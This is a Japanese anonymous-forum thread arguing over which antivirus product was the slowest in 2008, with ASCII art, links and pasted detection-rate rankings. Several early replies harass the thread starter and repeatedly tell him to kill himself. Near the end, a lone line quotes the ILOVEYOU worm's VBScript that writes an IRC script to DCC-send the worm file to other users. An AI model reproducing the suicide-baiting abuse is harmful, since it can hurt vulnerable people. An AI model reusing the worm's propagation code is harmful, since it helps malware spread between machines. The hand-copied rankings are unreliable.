■■■　一番重いソフト　2008　■■■

やはり今年もぶっちぎりでノートンか？

>>1
死ね殺されろ
気安くスレ立てるなクズ

↑気安くレスすんな糞野郎

>>1
カスペに決まってるんだろ糞野郎

>>1
くだらないスレ立てた責任を取って自殺しろ

>>1
自殺だ自殺　自殺しろ

　　　　　　r;ｧ'N;:::::::::::::,ｨ／　　　　　 >::::::::::ヽ
.　　　 　 〃　　ヽﾙ1'´　　　 　 　 ∠:::::::::::::::::i
　　 　 　 i′　　___,　-　,. = -一　 ￣ｌ:::::::::::::::ｌ
.　　　　　 ! , -＝=､´r'　　　　　　　 　 l::::::/,ﾆ.ヽ
　　　　　　ｌ　　　　　　　　_,, -‐''二ゝ　 ｌ::::l fﾞヽ |、 　 　どんなセキュリティソフトよりも、
　　　 　 　 ﾚー-- ､ヽヾﾆ-ｧ,ﾆ;＝、_　　 !:::l ） } ト
　　　　　　 ヾ¨'７"ry､｀ 　 ｰﾞ='ニ,,,｀　 　 }::ヽ(ノ　 　 　バグてんこ盛り＋糞重いカスペルスキーを
:ｰゝヽ､ 　 　 !´ "￣ 'l,;;;;,,,.、　　　　　　　,i:::::::ﾐ
::::::::::::::::ヽ.-‐ ﾄ、　r'_{　　 __)｀ニゝ、　 ,,iﾘ::::::::ﾐ 　 　 　 使っている方が恐ろしい。
::::::::::::::::::::Vi／l:::V'´;ｯ`ﾆ´ｰ-ｯ-,､:::::`"::::::::::::::;ﾞ　,
:::::::::::::::::::::::::N. ﾞ､::::ヾ,.｀二ﾆ´∠,,.i::::::::::::::::::::/／／
:::::::::::::::::::::::::::::l　ヽ;:::::::::::::::::::::::::::::::::::::::::::／　／
::::::::::::::::::::::::::::::!　:|.＼;::::::::::::::::::::::::::::::／　／

これは名スレ　あげ

業者・信者のみなさん、競合他社売り上げ激減・買収・倒産を我喜びとし
他社排他の為、ドンドンがんばりましょう

■工作目的でスレを乱立させる>>1が愛用している製品NOD32の情報
http://pc11.2ch.net/test/read.cgi/sec/1189592041/6-16
http://pc11.2ch.net/test/read.cgi/sec/1174028244/240-248

■AV-Comparativesの最新の総合的検出力テストで上位になれず（シグネチャ＋ヒューリスティック）
http://pc11.2ch.net/test/read.cgi/sec/1087037111/472

■検知力だけでなくて対応も酷い
http://pc11.2ch.net/test/read.cgi/sec/1192931367/12-13

■多機能なハイブリッド型のマルウェアを、NOD32では検知できなかった
http://pc11.2ch.net/test/read.cgi/pcnews/1098350729/443

■セキュリティソフトへ攻撃を行うマルウェア実行時の防御力でNOD32は下位
http://pc11.2ch.net/test/read.cgi/sec/1087037111/478

■NOD32のメーカーサイトがクラックされて、危険サイトに作り変えられる
http://pc11.2ch.net/test/read.cgi/sec/1190140859/15


追伸：>>1が愛用している製品です。

　　　　　　　 ／￣￣＼　　　
　　　　　　／　　　 　　 ＼ 　　　
　　　　　　|:::::: 　>>1　　　｜　　　/＼＿＿_／ヽ　　　
　　　　　.　|:::::::::::　　　　　｜　 ／ ⌒　　　⌒　 ＼ 　　死ねよ
　　　　　　 |::::::::::::::　　　　｜／ 　（●）　（●） 　　＼
　　　　　.　 |::::::::::::::　　　　} |　 　　（__人__）　　　　　|　
　　　　　.　 ヽ:::::::::::::: 　　 }　＼　　 ｀ ⌒´ 　　　　_／　
　　　　　　　 ヽ::::::::::　　ノ　　　|　　　　　　　　　　 ＼
　　　　　　　　/:::::::::::: く　　　　|　|　　　　　　　　 | 　|
-―――――|:::::::::::::::: ＼-―┴┴―――――┴┴――

　 　 　　　　　　　 　 　　　　　　　　　　　　　　　　　　,.へ
　　___ 　　　　　　　 　 　 　 　 　　　　　　　　　　　　ﾑ　　i
　「 ﾋ_i〉　　　 　 　　　　　　 　 　　　　　　　　　　　　 ゝ　〈
　ﾄ　ノ 　　　　　　　　　　　　　　　　　　　　　　　　　　iニ(()
　i 　{ 　 　　　　　　　 　　　＿＿＿_ 　 　　　　　　　　| 　ヽ
　i　　i　　　 　　　　　　　／__,　 , ‐-＼ 　 　 　 　 　　i 　　}
　|　　 i　　　　　　 　　／（●) 　 ( ● )＼　　　　　　 {､　 λ
　ト−┤.　　　　　　／ 　 　（__人__） 　　　＼　　　 ,ノ　￣ ,!
　i　　　ゝ､_ 　　　　|　　　　　´￣` 　 　　　　|　,. '´ﾊ　　　,!
.　ヽ、 　　　｀`　､,__＼ 　　 　 　　　　　 　 ／"　＼ 　ヽ／
　　　＼ノ　ﾉ　　　ﾊ￣r/:::r―--―/::７　　 ﾉ　　　　／
　 　　 　 ヽ.　　　　　　ヽ::〈； . '::. :' |::/　　 /　　　,. "
　　　　　　　 `ｰ ､　　　　＼ヽ::. ;::：|/　　　　　ｒ'"
　　　　　／￣二二二二二二二二二二二二二二二二ヽ
　　　　　| 答 |　 一　人　必　死　な　奴　が　居　る.│|
　　　　　＼＿二二二二二二二二二二二二二二二二ノ

アダ被サイトにペスパ布教をしに行った時のスレ主。
すぐ本性が出て、アダ被サイト常連に嫌われる。
ttp://bbs.higaitaisaku.com/cbbs.cgi?mode=all&number=4410&type=0&space=0&no=2

重い順

カスペ＞ノートン＞＞＞＞バスター＞＞＞ZERO

性能・サポート・つかいやすさ

ノートン＞ZERO＞＞バスター


こんな感じ

>>13,>>14
嘘良くない

ノートンが一番重いだろ

重い・軽いって、どこがどう違う？
重い代表：カスペ
軽い代表：ＥＳＥＴ
何をしたとき、どんなふうに違うわけ？
これから製品を選ぼうとする者にとって、「違い」がわからん！

>>17
カスペが重いのならNODとAVG以外重いことになるな。
馬鹿じゃね

てｓｔ

test

カスペが軽いならバスターやマカフィーは空気みたいなもんだ

え？バスターは重いの代名詞じゃまいか

カスペ＞＞ノートン＞＞＞＞バスター＞＞＞＞マカフィ　だったな

使ったこと無いが重さに関しても農奴はカスに決まってる

>>24
NOD32は一番軽いぜ
次にカスペが軽かった
ノートンは2008でも他より重すぎて詐欺だと思った

カスペは小錦レベル
ノートンは曙

どっちもどっちと言うことか？

思うが重いかなんかPCによって違うから何とも言えない気がするな。ちなみにノートン信者だけど糞重い

-------ここまで>>1の自演---------

ノートンはガチで重いな

2008だって言ってるのに使いもしないで否定してる馬鹿ばっか（笑）
2007はともかく2008のバスター・ノートンはそこまで重くないぞ
まぁPen�Vに128MBじゃ何使っても重いだろうけどなｗ

年末年始のウィルス対策はお済ですか？

ＵＳＡ！！　ＵＳＡ！！　ＵＳＡ！！　ＵＳＡ！！
　　ＵＳＡ！！　ＵＳＡ！！　ＵＳＡ！！
★☆★☆★☆★☆★☆★☆★☆★☆★
☆★☆★☆★☆★☆★☆★☆★☆★☆
★☆Norton Internet Security 2008.☆★
☆ ttp://www.symantec.com/ja/jp/★☆
★☆★☆★☆★☆★☆★☆★☆★☆★
あなたのＰＣに黄色い天使が舞い降りた
　　世界シェアNo.1　歴史は信頼の証
ＵＳＡ！！　ＵＳＡ！！　ＵＳＡ！！　ＵＳＡ！！
　　ＵＳＡ！！　ＵＳＡ！！　ＵＳＡ！！

ノートンの重さは半端じゃない

AnitVirusなら使っても良いと思ったがな
NISはお断りだ
残念ながら、Windows 2000を使い倒すつもりのおいらには全く関係の無い話に
なってしまったw

ノートンは兎に角重いね
まあ、あれがデフォだからハイスペックPCの人は問題ないだろうけど

一番軽いのはソースのZEROかな

カスペも糞重い

メモリ2ＧＢのＰＣでノートンつかっていたけどそれでも重いと感じる
バスターにしたら軽くなった

【コラム】　パソコンが「重く」なるのはなぜ？不調の理由は？　解決法はある？
http://news.ameba.jp/r25/2007/12/9073.html

フジサンケイビジネスアイ　11月30日金曜日
パソコンウイルス最新事情より

1位　98.69% G DATA AntiVirus 2008
2位　97.66% F-Secureインターネットセキュリティ 2008
3位　97.65% Windows one care
4位　97.33% Kaspersky AntiVirus 7.0
5位　96.66% Norton AntiVirus 2008
6位　95.02% ウイルスバスター2008
7位　93.86% ウイルスキラーゼロ　　　　　　　　　←優良
8位　93.02% McAfeeウイルススキャンプラス
9位　91.45% NOD32アンチウイルス V2.7
10位　62.30% ウイルスセキュリティZERO　　　　 ←不良

「ワーム」、「バックドア」、「ボット」、「トロイの木馬」を含む
ウイルス検出ファイル1,321,777件に対するウイルスの検出率

個人で使ってるパソコンにそんな高い検出率とか　いらねえんだよ
ハードディスクがぶっ壊れるのを防いだりしてくれりゃそれでいい
個人情報漏れたってかまわねえよ別に

ウイルス対策ソフトを入れて　動作が遅くなって
パソコンが使い物にならなくなるとかさ
ウイルスに感染するよりたちがわるいじゃねえか
金払ってソフト買ってさ

ウイルスに感染したってＯＳを再インストールすりゃ何とかなるだろ
出費はゼロだからな

ノートン2006からカスペ乗り換えたけどまだカスペの方が軽かった。
ノートン2008はどれくらいの重さなのかは知らんけど

バカスという造語を作ったのはNOD32厨でした。

NOD32アンチウィルス Part54
http://pc11.2ch.net/test/read.cgi/sec/1206542183/

42 名前：名無しさん＠お腹いっぱい。　[]　投稿日：2008/03/27(木) 00:40:17
カスペ厨バスター厨

44 名前：名無しさん＠お腹いっぱい。　[]　投稿日：2008/03/27(木) 00:44:26
>>42
二匹合わせてバカスw

ノートン2008が糞重いとか発掘したPCでも使ってのかよｗｗｗ

カスペル
core2duo＋メモリ２Ｇで使ってるけど
特に重いって事は無い。

最近のＰＣなら、それなりに軽快に使えるんじゃないか

ttp://www.iso-g.com/modules/news/article.php?storyid=947
AV-Test.org比較テスト 　　2008年 9月 2日
検体数　　1,164,662 　　　　34製品
------　BEST 10　------
01　AVK 2009 (G Data)　　　　　99.8%　　avast+BitDefender
01　AntiVir (Avira)　　　　　　　　99.8%　　有料版
03　WebWasher-GW　　　　　　　99.7%
04　Ikarus　　　　　　　　　　　　　99.5%
04　TrustPort　　　　　　　　　　　99.5%
06　Avast! (Alwil)　　　　　　　　　99.3%
07　F-Secure 2009　　　　　　 　99.2%
07　AVK 2008 (G Data)　　　　　99.2%　　avast+Kaspersky
09　Norton 2009 (Symantec)　　98.7%　　ベータ版
10　Kaspersky　　　　　　　　　　　98.4%
11　F-Secure 2008　　　　　　　　98.2%
12　ZoneAlarm　　　　　　　　　　　97.8%
12　Norton 2008 (Symantec)　 　97.8%
15　Microsoft　　　　　　　　 　　　97.7%
15　BitDefender 2008　　　 　　　97.7%
17　BitDefender 2009　　　　 　　97.6%
18　Sophos　　　　　　　　　 　　　97.5%
20　AVG　　　　　　　　　　　　　　95.8%　　有料版
22　Nod32 (Eset)　　　　　　　　　94.4%

Most Effective Antivirus Tools Against New Malware Binaries
ttp://mtc.sri.com/live_data/av_rankings/
Rank Detects Missed Product 　(2009年10月04日)
1st 89% 128 AVG　　　　　　ttp://free.avg.com/jp.homepage
2nd 88% 132 Ikarus
3rd 88% 137 Microsoft　　ttp://www.microsoft.com/security_essentials/default.aspx?mkt=ja-jp
4th 88% 138 AntiVir　　　　ttp://www.free-av.com ttp://www.avira.com/jp
5th 87% 151 F-Prot
6th 86% 153 Sophos
7th 86% 158 Authentium
8th 86% 160 DrWeb
9th 86% 163 BitDefender　　ttp://www.bitdefender.com/media/html/trialpay.html
10th 85% 164 Kaspersky
11th 83% 192 F-Secure
12th 83% 198 Norman
13th 81% 217 CAT-QuickHeal
14th 80% 226 GData
15th 80% 226 eTrust-Vet
16th 80% 229 VBA32
17th 80% 230 TrendMicro
18th 80% 231 VirusBuster
19th 80% 232 AhnLab-V3
20th 79% 236 Avast　　　　　ttp://www.avast.com/jpn/avast_4_home.html
21st 78% 247 Fortinet
22nd 78% 255 Rising　　　　 ttp://www.freerav.com
23rd 76% 270 McAfee
24th 76% 277 ClamAV　　　　 ttp://www.clamwin.com ttp://www.moonsecure.com ttp://www.clamxav.com
25th 76% 278 TheHacker
26th 72% 320 Panda　　　　　ttp://www.cloudantivirus.com
　　　　│
29th 7% 1076 NOD32
??th　　　　　　 Symantec (Norton)　★

ttp://mtc.sri.com/live_data/av_rankings/
> DISCLAIMERS - PLEASE READ BEFORE REVIEWING RESULTS:

> 1. All antivirus binary analysis results are provided via www.virustotal.com.
>
> 2. Each binary is submitted for evaluation within 24hrs of our harvesting it live
> from the Internet. Each antivirus tool is only given this one attempt
> to detect the binary. Our intention is to evaluate how the antivirus tools
> are performing against the latest malware on the Internet,
> at least from the narrow vantage point of our honeynet.
>
> 3. Please be aware that most antivirus vendors WILL be able to detect the malware binaries
> listed in the missed set, usually within a few days. Therefore you should not view an antivirus tool's
> missed binaries list as a reflection of its current detection coverage.
> Rather, it is only a list of binaries that were missed at the time of our evaluation.
>
> 4. Our detection rates represent the TRUE POSITIVE detection rates.
> The results do not take into consideration the false positive rate of a given tool,
> and thus a tool that declares everything to be infected would appear
> to have the highest true positive percentage rate.

BitDefenderは重い

間違いなくノートンは糞重い

バスターの間違いだろｗ

>>1
>■■■　一番重いソフト　2008　■■■

■■■　一番重いソフト　2010　■■■

というすれを立てよう!

※2010年上半期の最強アンチウイルスソフトが決定
ttp://gigazine.net/index.php?/news/comments/20100928_anti_virus_comparatives_2010aug/
◆検出率ランキング◆　　　　　　　　　　　　　　　　◆スキャン速度ランキング◆
第1位：G DATA（99.9％）　　　　　　　　　　　　　　　　第1位：Avast（17.2MB/秒）
第2位：Trustport、AVIRA（99.8％）　　　　　　　　　　第2位：AVIRA（15.1MB/秒）
第4位：McAfee（99.4％）　　　　　　　　　　　　　　　　.第3位：Panda（14.6MB/秒）
第5位：Avast、BitDefender（99.3％）　　　　　　　　　第4位：Symantec（13.3MB/秒）
第7位：F-Secure、e-Scan、Panda（99.2％）　　　　　第5位：AVG（13.0MB/秒）
第10位：Symantec（98.7％）　　　　　　　　　　　　　　第6位：Trend Micro（12.8MB/秒）
第11位：ESET（98.6％）　　　　　　　　　　　　　　　　　第7位：McAfee（12.3MB/秒）
第12位：AVG、Kaspersky（98.3％）　　　　　　　　　　第8位：BitDefender（12.1MB/秒）
第14位：PC Tools（98.1％）　　　　　　　　　　　　　　.第9位：F-Secure（11.9MB/秒）
第15位：Microsoft（97.6％）　　　　　　　　　　　　　　.第10位：K7（11.7MB/秒）
第16位：Sophos（96.8％）　　　　　　　　　　　　　　　　第11位：Kingsoft（11.6MB/秒）
第17位：Norman、K7（96.6％）　　　　　　　　　　　　　第12位：Sophos（10.6MB/秒）
第19位：Trend Micro（90.3％）　　　　　　　　　　　　　第13位：G DATA（10.3MB/秒）
第20位：Kingsoft（80.1％）　　　　　　　　　　　　　　　　第14位：Kaspersky（9.8MB/秒）
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　第15位：PC Tools（9.7MB/秒）
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　第16位：ESET（9.6MB/秒）
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　第17位：Trustport（9.4MB/秒）
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　第18位：eScan（8.9MB/秒）
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　第19位：Microsoft（5.9MB/秒）
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　第20位：Norman（4.4MB/秒）

Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

2013は？